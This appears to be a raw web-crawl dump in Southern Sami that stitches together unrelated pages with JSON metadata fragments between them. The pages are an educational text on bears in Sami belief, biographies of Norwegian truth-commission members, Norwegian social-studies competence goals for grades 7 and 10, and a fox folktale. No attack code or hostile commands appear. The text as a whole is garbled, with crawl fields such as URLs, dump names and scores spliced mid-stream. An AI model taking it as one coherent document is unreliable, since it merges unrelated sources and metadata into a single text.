geekten-jealkege tjöödtjesti jïh snirri jïh åvtes-juelkiejgujmie jaemedem steereminie. Nyjsenæjjijste lij geerjene jïh dåajmetje lij dej vööste - jis ij lin baerniem beelhten nuelesne guedtieminie, guktie maa bïerne meehti dam daejredh? Bïerne tjoeri nåejtie årrodh. Kaarri vööste lij hatsves; dejtie vijrijinie vööjni.\nBïernen bïjre leah jïjnjh jaahkoeh jïh vuekieh. Dan bïjre maahtah gærjine lohkedh gusnie saemiej kultuvren bïjre tjaelieh. Nimhtie lij gosse bïernem vuatjeme, dellie vijrijh eensilaakan tjoerin geehtedh olles idtjin naan måaroej sontere båetieh gosse edtjin leekedh jïh smeejvedh. Mænngan byöpmedamme dillie dujmiesligke gaajhkide måarojde krogkestin jïh gellien aejkien aaj sjïelem dan krogkese bïejin: slaapmah, tsagkeldh. Gaajhkesh dovnesh deejrin bïernen faamoe vihth sïjhti fahkedh, jïh måaroeh orre bïernine sjïdtedh. Vaepiedodtjh vijrijh mejtie lin arhkeme! Gosse baernie jïh nïejte sinsitniem gearoedin, dillie doh jeatjebh dejtie sietjkin guktie tjoerin jïjtje soptsestidh guktie lij. Voejhkelin rïpmedh edtjin tjïekedidh, jïh nïmhtegh laavetje-guaktah dåalvoejin stoehki bijjelen, gierkiej baaktoe, sermiej tjirrh jïh johki rastah. Åarjel-saemieh daam stååkedimmiem gåhtjoeh: Bïerne-vuetjeme jallh Bïerne-væjroe.\nGaajhkh provresh tjoerin låahran nelnie pruvredh, jis mïetes-lohke edtji madtjelostedh.\nGellie soptsesth leah bïernen bïjre guhte nyjsenæjjam ryövi. Tjoeri bïernine gaavmosne jieledh, tjidtjebe sjïdti elties almetjen maanide jïh iktesth lij gåmmabasse gïemhpesh jïh dåajmije. Nyjsenæjja guhte naemhtie ryövelgovvi dïhte abpe daelviem gaavmosne sjïdti jïh idtji abpe daelvesne byöpmedh. Gosse bårrestovvi dillie bïernen juelkie-låapoeh skeeni, jïh nimhtie hïegkem gorredi.\nSaemien heamturh leah sagke jeatjhlaakan daarojste jïh svïenskijste. Eah saemieh naan aejkien slåahten bïjre soptsesth. Ij leah gåessie soptsese gusnie bïerne lea båarhte abpe biejjiem jïh gånkan-baernine jïjjese sjædta. Ij leah mij nïejten bïjre gie ov-vïssjeles sjædta jïh gaajhkem goerpedahta, guktie alvas geajnoem åådtje vaedtsedh aerebi vihth sov baerniem gaavna.\nSaemieh leah aaj ussjedamme bïerne - goh jeatjah juvrh - meehti almetjem jïjtse hammosne tjïekedh.\nAlmetjh gååvnesin mah faamoem utnin jeatjah almetjem juvrine jorkesidh. Dah lin nåejtieh, sjïele-hearrah jïh mievriestæjjah. Gosse almetjem edtjin (juvrehammose)juvrehamman bïejedh die tjoerin veeljedh dam juvrem mïsse almetje plïeresadtje. Dïhte guhte hammosne dïhte meehti ussjedidh jïh damtehtalledh goh aerebi. Dïhte tjoeri desnie årrodh goske nåejtie gærroem luejhtieji jallh aaj goske jeemi, jallh aaj goske hammoe idtji vielie sjïehth juktie mïele jorkesovveme.\nDah guhte bïerne-hammoen sïjse nåejtiesovveme dah lin rååpehke jïh veaksehke.\nFilmesne maahtah vuejnedh guktie Ossian Elgström vïenhti saemieh bïernem vijrin.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:128496","date":"2019-10-23T14:11:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987833766.94\/warc\/CC-MAIN-20191023122219-20191023145719-00162.warc.gz","language":"sma","language_score":0.9999580383,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999580383300781}","num_words":551,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kommisjovnen lïehtsegh\nÅvtehke Nesodden\nNjuenesnjuana\nDagfinn Høybråten lea generaletjaelije Gærhkoen Aarmoghviehkine. Satne lea guhkiem barkeme politihkesne jïh administrasjovnine, dovne stoerredigkielïehtsegine, barkoe- jïh sosijaalministerine, starneministerine, jïh direktööre Rijhke-jielededåarjoemisnie. Ovtetje åvtehke Kristeles Åålmegepartijesne, jïh aaj lea generaletjaelijine orreme Noerhterijhki ministereraeresne.\nProfessovre\nTromssa\nIvar Bjørklund lea professovre kultuvredaajroen Nöörjen arktihke universiteetemuseumisnie. Satne lea sosialantropologe, jïh hov lea miehtjiebarkoem dorjeme Noerhtejillie-Rassjesne jïh aaj Noerhte-Nöörjesne. Sov åejvieaamhtese lea gïehtjedidh paarrebielieh joekehth kultuvrijste, saemiej, daaroej jïh kvænaj luvnie, jïh aaj lea dotkeme læstadianeri guhtsiehtimmie. Daelie lea dotkeminie saemiej johtetje båatsoe jïh gïehtjede guktie lea ekonomijen jïh politihken mietie sjïehtesjeminie nöörjen nasjovnalstaatesne.\nStipendiaate\nGåelvere\nHåkon Hermanstrand lea PhD-stipendiaate, åarjelsaemien histovrijem dotkeminie Noerhte Universiteetesne, Levangkesne. Satne lea aerebi barkeme åarjelsaemien histovrijem vååjnesasse buektedh Raarvihkesne, Noerhte-Trööndelagen Jolleskuvlesne, jïh Saemien Sïjtesne.\nOvtetje Bïspa\nTromssa\nPer Oskar Kjølaas lea ovtetje bïspa. Satne lea ovmese joekehth barkoe dorjeme nöörjen gærhkoen åvteste, jïh hearram orreme dovne Guovdageajnosne jïh Káresjohkesne, jïh pråaste Sïjs-Finnmaarhken prostijesne. Aaj lea teologihke konsuleentine orreme noerhtesaemien bïjpelejarkoestimmesne, jïh provsjeekteåvtehkine dan raajan bïspine eelki.\nProfessovre\nOslove\nPia Lane lea professovre gelliengïeleldhvoeten-goevtesne, Osloven Universiteetesne. Sov dotkemesuerkie lea gïelepolitihke, gelliengïeleldhvoete, gïelemolseme jïh gïele-jealajehteme noerhtedajvine, jïh joekoen altese maanagåetien voenesne Buodggák\/Pykejä.\nVoeresraeriesjæjja\nHábmere\nAnne Kalstad Mikkelsen lea Voeresraeriestæjja Árranisnie – julevsáme guovdásj \/ Julevsaemien goevtesisnie. Dïhte sån guhkiem eadtjohke-laakan barkeme vïhnesjidh jïh soptsestalledh dam mij lea nåake jïh tjeakoes siebredahkesne. Satne lea meatan orreme VGM-evtiedimmie\/Nöörjen kultuvreraerien BRUDD-provsjeektesne gusnie ulmie lij dïejveldimmiem eevtjedh tjeakoes jïh saajrohts aamhtesi bïjre. Hov lea aaj lïehtsegem stïvremedåehkesne Jasska\/Jearsoes – aktem lissieprovsjeektem mij tseegkin mænngan skaarasaernieh Dïvtasvoeneste byögkeles sjïdtin. Altese Maasteredaltesen suerkie lea kultuvre jïh profesjovne, UiT Nöörjen arktihke Universiteetesne, jïh sov maasteretjaalege lea daaroedehtemen bïjre, jïh guktie lea relasjovnh Bijhtemsaemien daajvine dïjpeme.\nMuseumeåvtehke\nEvenes\nMarit Myrvoll lea museumeåvtehke Várdobáiki Saemien Musumisnie. Satne lea sosialantropologe (PhD) jïh hov lea dotkeme gïehtjedimsvuekieh kultuvresne, identiteeten muhteste, jïh siebredahkejieledem buerkiestidh. Aaj lea gïehtjedamme koltuvremojhtesh, kultuvrehistovrijem jïh dovletji jaahkoem vaarjelidh. Marit lea aerebi maadthskuvlesne barkeme, Saemiedigkesne, Rijhkeantikvarijen åelesne jïh dotkijine barkeme.\nOvtetji Professovre\nVadsø\nEinar Niemi lea 2013 raajeste ovtetji professovrem UiT Nöörjen arktihke Universiteetesne orreme. Sov ööhpehtimmie Osloven Universiteeteste åådtjeme, jïh lea lektovrine jåerhkeskuvlesne barkeme, fylhkenkonservaatorine Finnmaarhkesne orreme, jïh histovrije-amanueensem, jïh –professovrem UiTesne orreme. Satne lea unnebelåhkoe-politihkem, etnisiteetem, regijovne- jïh dajvehistovrijem, jïh dotkemehistovrijem gïehtjedamme.\nProfessovre\nOslove\nAnne Julie Semb lea Staatedaajroen professovre, jïh daelie barkeminie institudteåvtehkine Staatedaajroen Institudtesne Osloven Universiteetesne. Anne Julien dotkeme-ïedtjh leah dåeries-moerh staaten jïh dåehkiej gaskems, suvereniteete-heerremh, staateåeliedimmie, båarkereåeliedimmie, jïh daennie sïentesne aaj iemiealmetji- jïh unnebelåhkoe-almetji båarkereåeliedimmie, jïh almetjireaktah.\nJolleskuvlelektovre\nGuovdageajnoe\nLiv Inger Somby lea jolleksuvlelektovre jïh ööhpehte journalistigkem, iemiealmetjijournalistigkem jïh saemiengïelem Saemien Jolleskuvlesne\/ Sámi allaskuvla, Guovdageajnosne. Liv Ingere lea gellien luhkiejaepien saerniejournalistine, redaktöörine jïh provsjeekteåvtehkine orreme. Dovne Nöörjesne, Sveerjesne, Suemesne jïh Rassjesne barkeme. Satne lea stoerre provsjeektem tjïrrehtamme, gusnie tjöönghkeme vihkeles tjeakoes-soeth båeries saemien nyjsenæjjaj gaskem. Tjijhtje jaepien båeries internaateskovlese seedtesovvi.\nOvtetje Professovre\nOslove\nAslak Syse lea juridihken professovre Osloven Universiteetesne, ovtetje professovre 2016 raajeste. Syse lij dååktere Finnmaarhkesne jaepiej 1971-1991 raajan, jïh aaj lea bijjiedååkterem orreme psykihke gaarkehth healsoevaarjelimmesne. Aaj lea åvtehkine orreme mïrrestalleme- jïh dïedtelgimmiemoenehtsisnie. 2013 raajeste lea Nöörjen lïehtsegem orreme Europaraerien Kommisjovnesne Dïedtelgimmien jïh Bïehtedimmien vööste.\nVoestesamanueense\nTromssa\nKetil Zachariassen lea daaletji histovrijen voestesamanueense, jïh joekoen dïedte dellie iemiealmetji- jïh unnebelåhkoe-almetji histovrijem. Arkeologijen, histovrijen, religijovnedaajroen jïh teologijen Institudtesne, UiT Nöörjen arktihke universiteetesne barkeminie. Zachariassen lea ovmese aamhtesh gïehtjedamme saemiej, kvænaj jïh noerhte-nöörjen histovrijine.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/uit.no\/kommisjonen\/medlemmer_%C3%A5s","date":"2019-11-12T22:16:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665767.51\/warc\/CC-MAIN-20191112202920-20191112230920-00263.warc.gz","language":"sma","language_score":0.9998243451,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998243451118469}","num_words":530,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtoeulmieh 7. daltesen mænngan\nGoerehtæjjaMål for opplæringen er at eleven skal kunne\n- aktem siebriedahkefaageles gyhtjelassem hammoedidh, raeriestidh seapan buerkiestimmieh jïh gyhtjelassem tjïelkestidh akten goerehtimmien tjïrrh\n- siebriedahkefaageles aamhtesh digkiedidh jïh seahkarimmiem utnedh mubpiej vuajnose, sjyöhtehke faagedïejvesh nuhtjedh, jïh mïeli jïh faaktaj gaskem joekehtidh\n- tjaalegh lohkedh almetji bïjre mah joekehts jieledenuepiej nuelesne veasoeh, jïh digkiedidh man åvteste dah ussjedieh, darjoeh jïh heannadimmieh dååjrieh joekehtslaakan\n- gellie heannadimmieh histovrijesne jïh mijjen tïjjen tïjjeseavan jïh kaarhtese bïejedh\n- goerehtimmieh tjïrrehtidh jïh åehpiedehtedh mah ryöknemem krievieh viehkine bïevnesijstie tabellijste jïh diagrammijste\n- siebriedahkefaageles bïevnesh gaavnedh jïh olkese giesedh gosse digitaale gaaltijinie ohtsede, vuarjasjidh maam gaavneme jïh nedtejiermien jïh nedte-etihken njoelkedassh steeredh\n- digitaale dïrregh nuhtjedh juktie siebriedahkefaageles barkoem åehpiedehtedh, jïh persovnevaarjelimmien jïh aalkoereaktan njoelkedassh steeredh\n- siebriedahkefaageles tjaalegem tjaeledh viehkine sjyöhtehke faagedïejvesh jïh jienebh gaaltijh nuhtjedh\nHistovrijeMål for opplæringen er at eleven skal kunne\n- siebriedahkem aktene sïjtesne buerkiestidh, dsj. saemien siebriedahke aktine jïjtse sisnjelds öörnedimmine\n- åejvievæhtide buerkiestidh siebriedahkeevtiedimmesne Saepmesne jïh Nöörjesne 800-900-låhkoen raejeste 1700-låhkoen minngiegietjien raajan, jïh koloniseradimmiem Saepmeste veelebe buerkiestidh, dsj. gosse ovmessie kraannadåehkieh eelkin ajve aktene sijjesne årrodh\n- nasjovnaale unnebelåhkoeh buerkiestidh mah Nöörjesne gååvnesieh, jïh åejvievæhtide buerkiestidh dej reaktine, histovrijesne jïh jieledenuepine\n- evtiedimmiem buerkiestidh jieledevuekine nyjsenæjjide jïh kaarride, jïh mïrrestallemen bïjre soptsestidh\n- aareh jeanoekultuvrh kaarhtese jïh tïjjeseavan bïejedh, jïh vihkeles væhtah dej bïjre åehpiedehtedh\n- bïevnesh gaavnedh greeske jïh rovmeren siebriedahki bïjre antihkesne, jïh vuesiehtimmieh gaavnedh guktie dej kultuvre lea mijjen jïjtse tïjjem tsevtseme\n- vihkeles væhtah buerkiestidh tïjjeboelhkine gaske-aaltere, renessanse jïh bïevnesetïjje Europesne, jïh digkiedidh man åvteste daate tïjjejoekedimmie\n- aajhtsemefeelemh vuesiehtidh mejtie europejerh darjoejin, soptsestidh guktie lij gosse ovmessie kultuvrh sinsitniem gaavnesjin jïh guktie daah dam dåårjin\nGeografijeMål for opplæringen er at eleven skal kunne\n- atlasem nuhtjedh, bïevnesh veedtjedh paehpere-teemakaarhtijste jïh digitaale kaarhtedïenesjijstie, sijjienommh Saepmesne kaarhtese bïejedh jïh dejtie buerkiestidh, jïh kraannatjïelth, fylhkine Nöörjesne jïh doh stööremes laanth veartenisnie kaarhtese bïejedh\n- vïhtesjadtedh jïh toelhkestidh gïejh jïengetïjjeste hïejmesijjesne, jïh buerkiestidh maam jïengetïjje abpe eatnamasse jïh laantese darjoeji\n- ektiedimmieh buerkiestidh gaskem eatnemevierhtieh, jielemh, årrome, jïh jieledevuekieh\n- hedtieh jïh joekehtsh viertiestidh laanti gaskem Europesne, jïh laantine jeatjah veartenebieline\n- klijma- jïh vegetasjovnedajvh veartenisnie buerkiestidh, jïh guktie almetjh nåhtoem utnieh dejstie, jïh saemien dïejvesh buerkiestidh\n- buerkiestidh guktie dorjemasse jïh åtnoe maehtieh økosysteemide earjoehtidh, jïh jåartam, tjaetsiem jïh elmiem jotskelidh, jïh digkiedidh guktie maahta dam heerredidh jïh dåvvodh\n- buerkiestidh guktie Nöörje vierhtieh nuhtjie jeatjah lehkeste veartenisnie\n- baataræjjastraejmieh vïhtesjadtedh, buerkiestidh man åvteste naaken sijjen hïejme-laantijste baatarieh, jïh digkiedidh guktie maahta årrodh akten ammes laantese baataræjjine båetedh\nSiebriedahkedaajroeMål for opplæringen er at eleven skal kunne\n- vuesiehtimmieh vedtedh jïh digkiedidh guktie kommersijelle tsevtseme ovmessie meedijijstie maahta tsevtsedh maam vaarojde mijjieh veeljebe jïh persovneles ekonomijem\n- gieriesvoeten jïh seahkarimmien bïjre soptsestidh, jeereldihkie seksuellevoeti bïjre, ektiejieleden jïh fuelhkien bïjre, jïh konsekvenside digkiedidh jis seahkarimmie joekehtsidie fååtese\n- råållah jïjtse aarkebiejjien buerkiestidh, jïh goerehtidh jïh soptsestidh veanhtadimmiej bïjre mah leah daejtie råållide ektiedamme\n- vuesiehtimmieh vedtedh guktie kjønnsråållah jïh seksualtiteete våajnoes dorjesuvvieh ovmessie meedijinie, jïh digkiedidh dejtie ovmessie veanhtadimmide daate maahta sjugniedidh\n- gyhtjelassh jïh konsekvensh digkiedidh åtnoste jïh miste-åtnoste dågkeste jïh ovmessie geeruvevierhtijste\n- buerkiestidh mij akte siebriedahke lea, jïh ussjedidh man åvteste almetjh siebriedahkine tjåanghkenieh\n- dejtie vihkielommes faamoeinstitusjovnide Nöörjesne buerkiestidh, aaj Saemiedigkie, jïh dej åejvielaavenjassh, jïh digkiedidh joekehtsem gaskem aktene demokratijesne jieledh jïh aktene siebriedahkesne bielelen demokratije\n- buerkiestidh mij akte politihkeles krirrie lea, jïh buerkiestidh naan vihkeles vuestiebielieh dej politihkeles krirriej gaskem Nöörjesne\n- buerkiestidh mah dïedth, reaktah jïh nuepieh meatan årrodh, maanah jïh noerh utnieh\n- vuesiehtimmieh vedtedh kultuvrelle symbovline, jïh buerkiestidh maam mijjieh vïenhtebe dïejvesinie identiteete jïh kultuvre\n- åejvievæhtide buerkiestidh daan beajjetje saemien siebriedahkesne jïh ovmessie jealajehtemevuekieh digkiedidh\n- aktem sjyöhtehke siebriedahke-ovvaantoem digkiedidh, jïh digkiedidh guktie maahta dam loetedh\n- aajkoem digkiedidh EN:ine jïh jeatjah gaskenasjovnaale laavenjostojne, daan nuelesne aalkoe-almetjelaavenjostoe, jïh vuesiehtimmieh vedtedh Nöörjen råållese laavenjostojne\nSide 7 Av 10","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.udir.no\/kl06\/SAF2-03\/Hele\/Kompetansemaal\/maahtoeulmieh-7.-daltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2019-11-22T03:10:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496671106.83\/warc\/CC-MAIN-20191122014756-20191122042756-00543.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":591,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtoeulmieh 10. daltesen mænngan\nGoerehtæjjaMål for opplæringen er at eleven skal kunne\n- gyhtjelassh hammoedidh tsiehkiej bïjre siebriedahkesne, soejkesjidh jïh tjïrrehtidh aktem goerehtimmiem jïh digkiedidh njaalmeldh jïh tjaaleldh maam gaavneme jïh illedahkide\n- siebriedahkefaageles dïejvesh nuhtjedh faagesoptsestimmine jïh åehpiedehteminie ovmessie digitaale dïrregigujmie, jïh vijriesåbpoe soptsestidh dan bïjre maam mubpieh soptsestamme\n- statistihkeles gaaltijh nuhtjedh juktie aerviedidh jïh buerkiestidh otnjegh jïh jeerehtsh siebriedahkefaageles digkiedimmine, jïh vuarjasjidh mejtie statistihke jaahkods bïevnesh vadta\n- vuesiehtidh guktie maahta heannadimmieh joekehtslaakan åehpiedehtedh, jïh digkiedidh guktie ïedtjh jïh ideologije maehtieh almetji vuajnoem tsevtsedh mij lea faaktah jïh saetniesvoete\n- siebriedahkefaageles gyhtjelassi bïjre ussjedidh viehkine bïevnesijstie ovmessie digitaale gaaltijijstie jïh paehperegaaltijijstie, jïh gaaltiji aajkoem jïh sjyöhtehkevoetem digkiedidh\n- siebriedahkefaageles argumenth, faaktah jïh jiehtegh damtijidh siebriedahkedigkiedimmine jïh digkiedimmine Gaskeviermesne, dejtie laejhtehkslaakan vuarjasjidh, jïh reaktah jïh konsekvensh vuarjasjidh gosse dejtie Gaskeviermesne bæjhkohte\n- soptsesh sjugniedidh almetji bïjre ovmessie siebriedahkijste åvtesne jïh daaletje tïjjen, jïh vuesiehtidh guktie jieledenuepieh jïh aarvoeh åssjaldahkide jïh dahkojde tsevtsieh\n- siebriedahkefaageles tjaalegh tjaeledh viehkine veele faagedïejvesijstie, buerkiestamme konklusjovnijste jïh gaaltijevuesiehtimmijste\nHistovrijeMål for opplæringen er at eleven skal kunne\n- vuesiehtimmieh gaavnedh heannadimmine mah leah viehkiehtamme daan beajjetje Saepmiem jïh Nöörjem hammoedidh, jïh digkiedidh guktie siebriedahke lij maahteme sjïdtedh dastegh dah heannadimmieh lin jeatjahlaakan orreme\n- idealem digkiedidh almetjeaarvoen, sïerredimmien jïh rasisme-evtiedimmien bïjre aktene histovreles jïh daaletje tïjjen perspektijvesne\n- vihkeles evtiedimmievæhtah åehpiedehtedh saemien histovrijesne 1800-låhkoen jïh voestes lehkien 1900-låhkoste, jïh konsekvensh digkiedidh daaroedehtemepolitihkeste dan akten almetjasse jïh siebriedahkese\n- vuesiehtimmieh gaavnedh politihkeles mobiliseradimmien jïh kultuvrelle visualiseradimmien bïjre saemien histovrijesne 1900-låhkoen gaskoeh raejeste daan raajan\n- vihkeles evtiedimmievæhtah åehpiedehtedh nöörjen histovrijesne 1800-låhkoen jïh voestes lehkien 1900-låhkoen, jïh buerkiestidh guktie dah daan beajjetje siebriedahken vööste tjuvtjiedieh\n- buerkiestidh guktie tryjjesstaate evtiesovvi jïh buerkiestidh væhtah Nöörjesne daan biejjien\n- teknologeles jarkelimmieh jïh siebriedahkejarkelimmieh buerkiestidh dan industrijelle revolusjovnen gaavhtan\n- åssjalommesh jïh faamoeh buerkiestidh mah dam amerijhken frijjevoetegæmhpoem jïh dam fraanske revolusjovnem sjugniedin, jïh buerkiestidh guktie dïhte dam demokrateles evtiedimmiem Nöörjesne tsevtsi\n- kolonialismen jïh imperialismem buerkiestidh, jïh vuesiehtimmieh vedtedh avkoloniseradæmman\n- fåantoeh jïh illedahkh digkiedidh stoerre gaskenasjovnaale ovvaantojste 1900-låhkoen jïh 2000-låhkoen\n- vihkeles siebriedahkejarkelimmieh digkiedidh urrebe tïjjen, jïh ussjedidh guktie daan beajjetje siebriedahke orre jarkelimmieh sjugnede\nGeografijeMål for opplæringen er at eleven skal kunne\n- gaavnedh jïh vihtiestidh bijjieguvviem geografeles åejvievæhtijste veartenisnie, jïh ovmessie laanth jïh regijovnh viertiestidh\n- lohkedh, toelhkestidh jïh nuhtjedh paehperekaarhth jïh digitaale kaarhth, möölegeståahkem jïh kaarhtevæhtah, jïh aerpievuekien jïh daajbaaletje vuekieh viertiestidh guktie maahta eatnamisnie gaavnedh\n- buerkiestidh sisnjeldh jïh byjngetje faamoeh eatnamisnie, guktie elmesne svæhtja, guktie tjaetsie eatnamisnie jåhta, veareldem, klijmam jïh vegetasjovnem buerkiestidh jïh ektiedimmieh eatnemen jïh siebriedahken gaskem digkiedidh\n- buerkiestidh gusnie dïhte geografeles Saepmie, jïh guktie nasjovnaalestaati raasth jïh reeremerasth daejtie dajvide juekieh\n- buerkiestidh naan saemien dïejvesh eatnemehammojne jïh saemien sijjienommh\n- goerehtidh guktie almetjh nuhtjieh eatnemevåaromem, jeatjah vierhtieh jïh teknologijem Nöörjesne jïh jeatjah laantine veartenisnie, jïh premisside akten monnehke evtiedæmman digkiedidh\n- goerehtidh jïh digkiedidh åtnoem jïh miste-åtnoem vierhtijste, mah konsekvensh daate maahta åadtjodh byjresasse jïh siebriedahkese, jïh mah ovvaantoeh daate maahta sjugniedidh gietskene jïh abpe veartenisnie\n- stoeredahkem, struktuvrem jïh sjïdtemem årrojedåehkine viertiestidh, jïh evtiedimmiem årroejijstie, urbaniseradimmiem jïh juhtemem urrebe tïjjen analyjseradidh\n- goerehtalledh man jeereldihkie almetjh ovmessie bieline veartenistie veasoeh, dejtie stoerre joekehtsidie giefies jïh ræjhkoes gaskem buerkiestidh, jïh råajvarimmieh digkiedidh akten jïebnebe joekedæmman\nSiebriedahkedaajroeMål for opplæringen er at eleven skal kunne\n- buerkiestidh guktie ovmessie politihkeles krirrieh ovmessie aarvoeh jïh ïedtjh eevtjieh, daam sjyöhtehke siebriedahkegyhtjelasside ektiedidh, jïh jïjtse vuajnoen åvteste argumenteradidh\n- politihkeles institusjovnh Nöörjesne jïh Saepmesne buerkiestidh, jïh råållajoekedimmiem dej politihkeles institusjovni gaskem\n- vuesiehtimmieh vedtedh maam mïelide laavenjostoe, meatanårrome jïh demokratije utnieh nasjovnaale jïh gietskene suerkine, siebrine jïh skuvlesne\n- åejvieprinsihpide buerkiestidh EN-sjïehtedimmesne, EN-almetjereaktabæjhkoehtimmesne jïh vihkeles EN-konvensjovnine, aaj ILO-konvensjovne aalkoe-almetji reaktaj bïjre, vuesiehtidh guktie dah våajnoes sjidtieh laakine, jïh konsekvenside digkiedidh gosse almetjereaktide miedtele\n- vuesiehtimmieh vedtedh guktie goerkese gieriesvoeten jïh seksualiteeten bïjre maehtieh jeerehtidh kultuvrine jïh kultuvri gaskem\n- kjønnsråållah analyjseradidh gusnie seksualtiteeten bïjre soptsestamme, jïh joekehtsem buerkiestidh vaajteles seksuelle gaskesen jïh seksuelle meadtoen gaskem\n- vuesiehtimmieh vedtedh guktie akte meadtoe lea gïetesovveme, fåantoeh digkiedidh man åvteste kriminaliteete sjædta jïh konsekvenside kriminaliteeteste, jïh buerkiestidh guktie reaktastaate fungerede\n- buerkiestidh dïejvesidie vuajnoeh, vaanesovme jïh rasisme, jïh vuarjasjidh guktie vuajnoeh maehtieh tsevtseme sjïdtedh, jïh guktie fïereguhte jïh siebriedahke maehtieh vaanesovmi jïh rasismen vööste barkedh\n- aerpievuekien daajroem goerehtidh, jïh digkiedidh guktie maahta aerpievuekien daajroem sertiestidh daajbaaletje ektiedimmide\n- buerkiestidh guktie åtnoe vaarojste jïh dïenestijstie lea evtiesovveme Nöörjesne, jïh utnijereaktide buerkiestidh\n- buerkiestidh evtiedimmiem jïh konsekvensh dågka- jïh geeruvevoete-åtnoste Nöörjesne, jïh ussjedadtedh mah vuajnoeh almetjh utnieh geeruvevoetevierhtide\n- åejvievæhtah buerkiestidh nöörjen ekonomijesne, jïh guktie dïhte lea ektiedamme abpeveartenen ekonomijine\nSide 8 Av 10","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.udir.no\/kl06\/SAF2-03\/Hele\/Kompetansemaal\/maahtoeulmieh-10.-daltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2019-11-15T10:23:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668618.8\/warc\/CC-MAIN-20191115093159-20191115121159-00175.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":705,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie tjaalegisnie maahtah lohkedh man åvteste riepien veelkes siejpie-gietjie. Soptsese lea gærjeste Lohkede saemien maam Knut Bergsland jïh Ella holm Bull tjaaleme. Jaepien 1993 gærja trygkesovvi.\nRiepie\nRiepie lij ikth sualadamme naa jïjnjh bovtsh.\nDoh jeatjah juvrh lin viehkiehtamme leekeme. Jïh dle krovhtem dle tseegkin.\nGosse dïhte bearkoe lij dle doelteme, dle dïhte riepie vaadtsa akten spoerjehke deavan nille jïh dle gylje:\n\"Dle maa manne vuajnam almetjh röövrigujmie jïh saejhtiejgujmie jis båetieh!\"\nGaajhkh juvrh dan bïllijin, hajkelin varke edtjin tjïekedidh.\nNjåemele jïh tjetskie hajkejigan akten krovhten nualan tjïekedigan. Numhtie dle tjïrrelgöötin dah altese bieljie-gietjieh. Jïh numhtie die leah dah tjeehpes daan biejjien aaj guktie åvtetje biejjieh.\nDïhte tjetskie dïhte golh båelti dam altese siejpie-gietjiem. Jïh numhtie die lea dïhte aaj tjeehpes.\nJïh dïhte riepie! Dïhte golh gaajhke bearkoem oktegh bårreli.\nBaakoe\nSaemien\nDaaroen\nsporjehke, spåavroeh\nsnau, uten vegitasjon\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte 